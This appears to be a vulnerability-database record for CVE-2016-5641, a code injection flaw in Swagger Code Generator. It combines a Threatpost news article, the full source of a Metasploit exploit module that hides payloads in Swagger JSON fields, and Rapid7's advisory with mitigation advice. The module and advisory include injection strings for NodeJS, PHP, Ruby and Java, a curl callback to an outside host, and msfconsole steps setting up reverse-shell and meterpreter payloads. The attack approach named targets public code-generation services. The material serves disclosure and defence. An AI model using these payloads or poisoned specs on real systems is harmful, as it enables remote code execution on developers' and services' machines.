{"id": "THREATPOST:909E4E45A9836EEF52746644D8031C80", "type": "threatpost", "bulletinFamily": "info", "title": "Swagger Vulnerability Leads to Arbitrary Code Injection", "description": "An unexpected behavior in a relatively new and popular open source API framework called Swagger could lead to code execution, researchers at Rapid7 said.\n\nThe company today [disclosed some details](<https://community.rapid7.com/community/infosec/blog/2016/06/23/r7-2016-06-remote-code-execution-via-swagger-parameter-injection-cve-2016-5641>) on the vulnerability, and released a Metasploit exploit module and a proposed patch written by researcher Scott Davis who found the flaw.\n\nDetails were privately disclosed on April 19 to the Swagger API team and then on May 9 to CERT, Rapid7 said. To date, Rapid7 Security Research Manager Tod Beardsley told Threatpost, there has been no response from Swagger\u2019s maintainers. Rapid7 said it shared its patch with CERT on June 16 and today made its public disclosure.\n\nAs of Jan. 1, the [Swagger specification](<http://swagger.io/>) was donated to the Open API Initiative and became the foundation for the OpenAPI Specification.\n\nThe Swagger specification describes, produces and consumes RESTful web services APIs in human- and machine-readable formats. According to Rapid7, Swagger documents can be automatically consumed to [generate client-server code](<https://github.com/swagger-api/swagger-codegen>), primarily for testing purposes prior to deployment.\n\n\u201cThe Swagger definitions are flexible enough to describe most RESTful APIs and give developers a great starting point for their API client,\u201d Rapid7 said in its report. \u201cThe problems is that several of these code generators do not take into account the possibility of a malicious Swagger definition document which results in a classic parameter injection, with a new twist on code generation.\u201d\n\nBeardsley said the vulnerability lies in the Swagger Code Generator, and specifically in that parsers for Swagger documents (written in JSON) don\u2019t properly sanitize input. Therefore, an attacker can abuse a developer\u2019s trust in Swagger to include executable code that will run once it\u2019s in the development environment. He added that the flaw behaves similarly to the way attackers embedded malicious executable code inside an Office document.\n\n\u201cIf I give you an Office doc, you\u2019re not expecting it to run code, but I can do that,\u201d Beardsley said. \u201cWith these Swagger vulnerabilities, I can poison [a Swagger document] and run code on the web server itself.\u201d\n\nRapid7 said the vulnerability covers the Swagger Code Generator for NodeJS, PHP, Ruby and Java, plus other languages supported by the tool. The research report says that maliciously crafted Swagger documents can dynamically build API clients and servers that execute embedded code. The parsers and generators, Rapid7 said, do not properly sanitize parameters within a Swagger document as it generates code.\n\n\u201cOn the client side, a vulnerability exists in trusting a malicious Swagger document to create any generated code base locally, most often in the form of a dynamically generated API client,\u201d Rapid7 said. \u201cOn the server side, a vulnerability exists in a service that consumes Swagger to dynamically generate and serve API clients, server mocks and testing specs.\u201d\n\nBeardsley said that exploits would afford an attacker operating system access in the same context as the web server and could allow an attacker to steal private crypto keys, SSL certs, change application functionality or generate new pages, for example.\n\nRapid7 recommends that developers inspect Swagger documents for \u201clanguage-specific escape sequences,\u201d until a patch is available.\n\n\u201cFixes need to be implemented by those creating code generation tools, in general this does not apply to the swagger documents themselves,\u201d Rapid7 said. \u201cMitigations for all issues include properly escaping parameters before injecting, while taking into account the context the variable(s) are used in inline code creation, and what sanitization efforts are in place to ensure the context of trust for an API specification can maintain a level of code creation free for remote code execution in the known, easily avoidable cases.\u201d\n", "published": "2016-06-23T09:43:27", "modified": "2016-06-28T14:04:16", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://threatpost.com/unpatched-remote-code-execution-flaw-exists-in-swagger/118867/", "reporter": "Michael Mimoso", "references": ["https://community.rapid7.com/community/infosec/blog/2016/06/23/r7-2016-06-remote-code-execution-via-swagger-parameter-injection-cve-2016-5641", "http://swagger.io/", "https://github.com/swagger-api/swagger-codegen"], "cvelist": ["CVE-2016-5641"], "lastseen": "2018-10-06T22:55:08", "viewCount": 43, "enchantments": {"score": {"value": 1.6, "vector": "NONE", "modified": "2018-10-06T22:55:08", "rev": 2}, "dependencies": {"references": [{"type": "seebug", "idList": ["SSV:91951"]}, {"type": "metasploit", "idList": ["MSF:EXPLOIT/MULTI/FILEFORMAT/SWAGGER_PARAM_INJECT"]}], "modified": "2018-10-06T22:55:08", "rev": 2}, "vulnersScore": 1.6}}

{"metasploit": [{"lastseen": "2020-10-07T20:52:50", "description": "This module generates an Open API Specification 2.0 (Swagger) compliant json document that includes payload insertion points in parameters. In order for the payload to be executed, an attacker must convince someone to generate code from a specially modified swagger.json file within a vulnerable swagger-codgen appliance/container/api/service, and then to execute that generated code (or include it into software which will later be executed by another victim). By doing so, an attacker can execute arbitrary code as the victim user. The same vulnerability exists in the YAML format.\n", "published": "2016-06-23T13:09:37", "type": "metasploit", "title": "JSON Swagger CodeGen Parameter Injector", "bulletinFamily": "exploit", "cvelist": ["CVE-2016-5641"], "modified": "2020-10-02T20:00:37", "id": "MSF:EXPLOIT/MULTI/FILEFORMAT/SWAGGER_PARAM_INJECT", "href": "", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\n#\n# Gems\n#\nrequire 'base64'\n\n#\n# Project\n#\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n include Msf::Exploit::FILEFORMAT\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'JSON Swagger CodeGen Parameter Injector',\n 'Description' => %q{\n This module generates an Open API Specification 2.0 (Swagger) compliant\n json document that includes payload insertion points in parameters.\n\n In order for the payload to be executed, an attacker must convince\n someone to generate code from a specially modified swagger.json file\n within a vulnerable swagger-codgen appliance/container/api/service,\n and then to execute that generated code (or include it into software\n which will later be executed by another victim). By doing so, an\n attacker can execute arbitrary code as the victim user. The same\n vulnerability exists in the YAML format.\n },\n 'License' => MSF_LICENSE,\n 'Author' =>\n [\n 'ethersnowman <scott_davis@rapid7.com>'\n ],\n 'References' =>\n [\n [ 'CVE', '2016-5641' ],\n [ 'URL', 'http://github.com/swagger-api/swagger-codegen' ],\n [ 'URL', 'https://blog.rapid7.com/2016/06/23/r7-2016-06-remote-code-execution-via-swagger-parameter-injection-cve-2016-5641' ]\n ],\n 'Platform' => %w{ nodejs php java ruby },\n 'Arch' => [ ARCH_NODEJS, ARCH_PHP, ARCH_JAVA, ARCH_RUBY ],\n 'Targets' =>\n [\n ['NodeJS', { 'Platform' => 'nodejs', 'Arch' => ARCH_NODEJS } ],\n ['PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ],\n ['Java JSP', { 'Platform' => 'unix', 'Arch' => ARCH_JAVA } ],\n ['Ruby', { 'Platform' => 'ruby', 'Arch' => ARCH_RUBY } ]\n ],\n 'DisclosureDate' => '2016-06-23',\n 'DefaultTarget' => 0))\n\n register_options(\n [\n OptString.new('FILENAME', [false, 'The file to write.', 'msf-swagger.json']),\n OptString.new('INFO_DESCRIPTION', [true, 'Swagger info description', 'A']),\n OptString.new('INFO_VERSION', [true, 'Swagger info version.', '1.0.0']),\n OptString.new('INFO_TITLE', [true, 'Swagger info title.', 'C']),\n OptEnum.new('SWAGGER_SCHEME', [true, 'Protocol scheme', 'http', ['http','https','ws','wss']]),\n OptString.new('SWAGGER_HOST', [true, 'a valid hostname or IPv4']),\n OptString.new('BASE_PATH', [true, 'The root path of API on host.', '/']),\n OptString.new('PATH', [true, 'Path of request/response on root path.', '/a']),\n OptString.new('PATH_DESCRIPTION', [true, 'Description of a path request object', 'D']),\n OptString.new('PATH_RESPONSE_DESCRIPTION', [true, 'Description of a path response object', 'E']),\n OptString.new('DEFINITION_DESCRIPTION', [true, 'Description of an object definition.', 'F'])\n ])\n end\n\n def swagger\n %Q(\n {\n \"swagger\": \"2.0\",\n \"info\": {\n \"description\": \"#{datastore['INFO_DESCRIPTION']}\",\n \"version\": \"#{datastore['INFO_VERSION']}\",\n \"title\": \"#{datastore['INFO_TITLE']}\"\n },\n \"schemes\": [\n \"#{datastore['SWAGGER_SCHEME']}\"\n ],\n \"host\": \"#{datastore['SWAGGER_HOST']}\",\n \"basePath\": \"#{datastore['BASE_PATH']}\",\n \"produces\": [\n \"application/json\"\n ],\n \"consumes\": [\n \"application/json\"\n ],\n \"paths\": {\n \"#{datastore['PATH']}\": {\n \"get\": {\n \"description\": \"#{datastore['PATH_DESCRIPTION']}\",\n \"responses\": {\n \"200\": {\n \"description\": \"#{datastore['PATH_RESPONSE_DESCRIPTION']}\",\n \"schema\": {\n \"$ref\": \"#/definitions/d\"\n }\n }\n }\n }\n }\n },\n \"definitions\": {\n \"d\": {\n \"type\": \"object\",\n \"description\": \"#{datastore['DEFINITION_DESCRIPTION']}\",\n \"properties\": {\n \"id\": {\n \"type\": \"integer\",\n \"format\": \"int64\"\n }\n }\n }\n }\n }\n )\n end\n\n def exploit\n case payload.arch[0]\n when 'nodejs'\n payload_loc = 'PATH'\n payload_prefix = \"/a');};};return exports;}));\"\n payload_suffix = \"(function(){}(this,function(){a=function(){b=function(){new Array('\"\n wrapped_payload = payload_prefix + payload.encoded.gsub(/\"/, '\\\\\"') + payload_suffix\n when 'php'\n payload_loc = 'INFO_DESCRIPTION'\n payload_prefix = \"*/ namespace foobar; eval(base64_decode('\"\n payload_suffix = \"')); /*\"\n wrapped_payload = payload_prefix +\n Base64.strict_encode64(payload.encoded) +\n payload_suffix\n when 'ruby'\n payload_loc = 'INFO_TITLE'\n payload_prefix = \"=end \"\n payload_suffix = \"=begin \"\n wrapped_payload = payload_prefix + payload.encoded + payload_suffix\n when 'java'\n payload_loc = 'PATH'\n payload_prefix = %q{a\\\\\\\"; \"}\n p = payload.encoded.gsub(/<%@page import=\"/, 'import ')\n p = p.gsub(/\\\"%>/, ';').gsub(/<%/, '').gsub(/%>/, '')\n p = p.gsub(/\"/, '\\\\\"').gsub(/\\n/, ' ')\n wrapped_payload = payload_prefix + p\n else\n raise IncompatiblePayloadError.new(datastore['PAYLOAD'])\n end\n\n datastore[payload_loc] = wrapped_payload\n\n print_status swagger\n file_create swagger\n end\nend\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/fileformat/swagger_param_inject.rb"}], "seebug": [{"lastseen": "2017-11-19T12:08:03", "description": "\u8be6\u60c5\u6765\u6e90\uff1a [R7-2016-06](https://community.rapid7.com/community/infosec/blog/2016/06/23/r7-2016-06-remote-code-execution-via-swagger-parameter-injection-cve-2016-5641)\r\n\r\nThis disclosure will address a class of vulnerabilities in a [Swagger Code Generator](https://github.com/swagger-api/swagger-codegen) in which injectable parameters in a Swagger JSON or YAML file facilitate remote code execution. This vulnerability applies to NodeJS, PHP, Ruby, and Java and probably other languages as well. Other [code](https://apimatic.io/) generation tools may also be vulnerable to parameter injection and could be affected by this approach. By leveraging this vulnerability, an attacker can inject arbitrary execution code embedded with a client or server generated automatically to interact with the definition of service. This is considered an abuse of trust in definition of service, and could be an interesting space for further research.\r\n \r\nAccording to swagger.io - \u201cSwagger is a simple yet powerful representation of your RESTful API. With the largest ecosystem of API tooling on the planet, thousands of developers are supporting Swagger in almost every modern programming language and deployment environment. With a Swagger-enabled API, you get interactive documentation, client SDK generation, and discoverability.\u201d\r\n \r\nWithin the Swagger ecosystem, there are fantastic code generators which are designed to automagically take a Swagger document and then generate stub client code for the described API. This is a powerful part of the solution that makes it easy for companies to provide developers the ability to quickly make use of their APIs. The Swagger definitions are flexible enough to describe most RESTful API\u2019s and give developers a great starting point for their API client. The problems discussed here is that several of these code generators do not take into account the possibility of a malicious Swagger definition document which results in a classic parameter injection, with a new twist on code generation.\r\n \r\nMaliciously crafted Swagger documents can be used to dynamically create HTTP API clients and servers with embedded arbitrary code execution in the underlying operating system. This is achieved by the fact that some parsers/generators trust insufficiently sanitized parameters within a Swagger document to generate a client code base.\r\n\r\n* On the client side, a vulnerability exists in trusting a malicious Swagger document to create any generated code base locally, most often in the form of a dynamically generated API client.\r\n* On the server side, a vulnerability exists in a service that consumes Swagger to dynamically generate and serve API clients, server mocks and testing specs.\r\n\r\n#### Client Side\r\n\r\n[swagger-codegen contains](http://swagger.io/swagger-codegen/) a template-driven engine to generate client code in different languages by parsing a Swagger Resource Declaration. It is packaged or referenced in several open source and public services provided by smartbear.com such as generator.swagger.io, editor.swagger.io, and swaggerhub.com. Other commercial products include restlet.com (restlet-studio) and restunited.com. These services appear to generate and store these artifacts (but not execute) and are able to be publicly downloaded and consumed. Remote code execution is achieved when the download artifact is executed on the target.\r\n\r\n#### Server Side\r\n\r\nOnline services exist that consume Swagger documents and automatically generate and execute server-side application, test specs, and mock servers provide a potential for remote code execution. Some identified commercial platforms that follow this model include: vRest.io, ritc.io, restunited.com, stoplight.io, and runscope.com.\r\n\r\n#### Credit\r\nThese issues were discovered by Scott Davis of Rapid7, Inc., and reported in accordance with Rapid7's [disclosure policy](https://www.rapid7.com/disclosure.jsp).\r\n\r\n#### Exploitation\r\nPlease see the [associated Metasploit exploit module](https://github.com/rapid7/metasploit-framework/pull/7015) for examples for the following languages.\r\n\r\n[swagger-codegen](https://github.com/swagger-api/swagger-codegen)\r\n\r\nSwagger-codegen generates client and server code based on a Swagger document in which it trusts to specify inline variables in code unescaped (i.e. unescaped handlebars template variables). The javascript, html, php, ruby and java clients were tested for parameter injection vulnerabilities, and given in example as follows.\r\n\r\n** javascript (node) **\r\n\r\nStrings within keys inside the 'paths' object of a Swagger document can be written in the following manner and generate executable NodeJS.\r\n```\r\n\"paths\": { \r\n \"/a');};};return exports;}));console.log('RCE');(function(){}(this,function(){a=function(){b=function(){new Array('\": { \r\n```\r\n\r\n** html **\r\n\r\nStrings within the 'description' object of a Swagger document can be written with html 'script' tags, and loaded unescaped into a browser.\r\n```\r\n\"info\": { \r\n \"description\": \"<script>alert(1)</script>\", \r\n``` \r\n** php **\r\n\r\nStrings within the 'description' object in the definitions section of a Swagger document can inject comments and inline php code.\r\n```\r\n\"definitions\": { \r\n \"d\": { \r\n \"type\": \"object\", \r\n \"description\": \"*/ echo system(chr(0x6c).chr(0x73)); /*\", \r\n``` \r\n** ruby **\r\n\r\nStrings in 'description' and 'title' of a Swagger document can be used in unison to terminate block comments, and inject inline ruby code.\r\n```\r\n\"info\": { \r\n \"description\": \"=begin\", \r\n \"title\": \"=end `curl -X POST -d \\\"fizz=buzz\\\" http://requestb.in/1ftnzfy1`\" \r\n```\r\n\r\n** java **\r\n\r\nStrings within keys inside the 'paths' object of a Swagger document can be written in the following manner and generate executable Java.\r\n```\r\n\"paths\": { \r\n \"/a\\\"; try{java.lang.Runtime.getRuntime().exec(\\\"ls\\\");}catch(Exception e){} \\\"\": \r\n```\r\n\r\n### Mitigations\r\nUntil code generators are patched by their maintainers, users are advised to carefully inspect Swagger documents for language-specific escape sequences.\r\n \r\nFixes need to be implemented by those creating code generation tools, in general this does not apply to the swagger documents themselves. Mitigations for all issues include properly escaping parameters before injecting, while taking into account the context the variable(s) are used in inline code creation, and what sanitization efforts are in place to ensure the context of trust for an API specification can maintain a level of code creation free for remote code execution in the known, easily avoidable cases.\r\n \r\nFor example, using double brackets {{, instead of {{{ for handlebars templates will usually prevent many types of injection attacks that involve single or double quote termination, however this will not stop a determined attacker who can inject variables without sanitization logic into multi-line comments, inline code or variables.\r\n\r\n#### Mustache templates\r\n* {{{ code }}} or {{& code}} can be vulnerable in template and sanitization logic\r\n* {{ code }} can be vulnerable given context language of template (e.g. block quote)\r\n#### Where to be wary\r\n* inline code creation from variable\r\n* single ticks (') and quotes (\") unescaped variable injection\r\n* block comment (initiator & terminator) injection\r\n#### Where it gets tricky\r\n* Arbitrary Set delimiter redefinition {{=< >=}} <={{ }}=>\r\n* Runtime Partial templates {{> partial}}\r\nset redefinition with alternate unescape {{=< >=}} <&foo> <={{ }}=>\r\n#### What to do in general\r\n* prefer escaped variables always {{foo}}\r\n* enforce single-line for commented variables // {{foo}}\r\n* sanitize ' & \" in variables before unescaped insertion\r\n* encode ', in single quoted path strings.\r\n* encode \", in double quoted path strings\r\n\r\nIt is recommended to consider usage of a sanitization tool such as the OWASP ESAPI.\r\nFor the time being, a Github Pull Request is offered [here](https://github.com/swagger-api/swagger-codegen/issues/3201).\r\n\r\nDisclosure Timeline\r\nThis vulnerability advisory was prepared in accordance with Rapid7's disclosure policy.\r\n\r\n* Tue, Apr 19, 2016: Attempted to contact the vendor and the API team at Swagger.io.\r\n* Mon, May 09, 2016: Details disclosed to CERT (VU#755216).\r\n* Thu, Jun 16, 2016: Proposed patch supplied to CERT.\r\n* Wed, Jun 23, 2016: CVE-2016-5641 assigned by CERT.\r\n* Thu, Jun 23, 2016: Public disclosure and Metasploit module released.\r\n* Thu, Jun 23, 2016: Fix offered to swagger-codegen.\r\n\r\n### Future of Swagger\r\nStarting January 1st, 2016, the Swagger Specification has been donated to the Open API Initiative (OAI) and is the foundation of the OpenAPI Specification. However, the name \u2018Swagger\u2019 is still the preferred naming in many a dinner party and dad joke, and was used in this document when referring to an OAS 2.0 specification documentation. In the typical case, a Swagger document defines a RESTful API. It implements a subset of the JSON Schema Draft 4.", "published": "2016-06-27T00:00:00", "type": "seebug", "title": "Swagger \u901a\u8fc7\u53c2\u6570\u6ce8\u5165\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e", "bulletinFamily": "exploit", "cvelist": ["CVE-2016-5641"], "modified": "2016-06-27T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-91951", "id": "SSV:91951", "sourceData": "\n The [Swagger CodeGen parameter injector module](../../../../../modules/exploits/multi/fileformat/swagger_param_inject.rb) generates a Swagger JSON file with embedded Metasploit payloads.\r\n\r\nIn the typical case, a Swagger document defines an API. Swagger can be automatically consumed to generate client/server code, testing and scaffolding in APIs by companies eager to provide value to the increasing need for scalable API deployment and testing.\r\n\r\nCurrently, this module supports 4 languages for delivery: NodeJS, PHP, Ruby, and Java. These are specified by the PAYLOAD set for the exploit module.\r\n\r\n\r\n## Verification Steps\r\n\r\nAll exploits assume a bind or reverse-tcp callback handler, with preference on reverse-tcp. \r\n\r\n1. Start msfconsole\r\n2. Start a callback handler listening for a the appropriate payload (e.g.)\r\n\r\n```\r\nuse exploit/multi/handler \r\nset PAYLOAD nodejs/shell_reverse_tcp\r\n\r\nset LHOST 192.168.68.138 \r\nset LPORT 4444\r\n\r\nrun \r\n```\r\n3. Pick a target \r\n\r\n## Targets\r\n\r\n**NodeJS** \r\n\r\nThis attack injects a payload into javascript by terminating a URL path string.\r\n\r\n\r\n```\r\n\r\nuse exploit/multi/fileformat/swagger_param_inject\r\nset PAYLOAD nodejs/shell_reverse_tcp\r\nset INFO_VERSION \"1.0.0\"\r\nset SWAGGER_HOST \"localhost\"\r\nrun \r\n```\r\n\r\n**PHP** \r\n\r\nThis attack injects a payload into PHP multiline comment area.\r\n\r\n\r\n```\r\n\r\nuse exploit/multi/fileformat/swagger_param_inject\r\nset PAYLOAD php/meterpreter/reverse_tcp \r\nset SWAGGER_HOST \"localhost\"\r\nrun \r\n```\r\n\r\n**ruby** \r\n\r\nThis attack injects a payload into ruby multiline comment area.\r\n\r\n\r\n```\r\n\r\nuse exploit/multi/fileformat/swagger_param_inject\r\nset PAYLOAD ruby/shell_reverse_tcp \r\nset SWAGGER_HOST \"localhost\"\r\nrun \r\n```\r\n\r\n**Java** \r\n\r\nThis attack injects a payload into Java by terminating a URL path string.\r\n\r\n\r\n```\r\n\r\nuse exploit/multi/fileformat/swagger_param_inject\r\nset PAYLOAD java/jsp_shell_reverse_tcp \r\nset SWAGGER_HOST \"localhost\"\r\nrun \r\n```\r\n\r\n## Quick Test\r\n\r\nUse the online [editor.swagger.io](http://editor.swagger.io) to upload your swagger document, and generate pre-built code bases from the document. The swagger editor leverages [generator.swagger.io](http://generator.swagger.io) to build these clients & servers automatically from the document, and published downloadable artifacts of these code bases.\r\n\r\n\r\n## Scenarios\r\n\r\nEffective against services with either these dependencies\r\n\r\n* [swagger-codegen](https://github.com/swagger-api/swagger-codegen)\r\n * public API [generator.swagger.io](http://generator.swagger.io/)\r\n * public docker container [swagger-generator/](https://hub.docker.com/r/swaggerapi/swagger-generator/)\r\n* [swagger-test-templates](https://github.com/apigee-127/swagger-test-templates)\r\n\r\n**Possible Attack approach.**\r\n\r\n1. Research the target environment and component dependencies. \r\n2. Setup appropriate payload callback listener.\r\n3. generate the appropriate swagger document with associated MS payload (see above for examples)\r\n\r\n\r\n**Against a webservice (2nd order attack / blind code-gen)**\r\n\r\n*Who knows what insecurely configured code-gen Docker containers hosted in data compute or API broker cluster could do if given the chance...*\r\n \r\n4. Feed the document to the service in service appropriate submission of Swagger documents. This is most often accoplished by defining a Mock, Test or Pass-Thru service automatically constructed by the swagger document definition.\r\n5. Wait for callback handler event. \r\n\r\n**Against a code repository or public hosting of spec**\r\n\r\n*People and Robots trust swagger to build clients, servers, mocks, and more. Publicly hosted specs should be verified as to not corrupt automatic code generation.*\r\n\r\n4. Feed the document to the service in service appropriate submission of Swagger documents. This is most often accoplished by defining a Mock, Test or Pass-Thru service automatically constructed by the swagger document definition.\r\n5. Wait for callback handler event. \r\n\n ", "sourceHref": "https://www.seebug.org/vuldb/ssvid-91951", "cvss": {"score": 0.0, "vector": "NONE"}}]}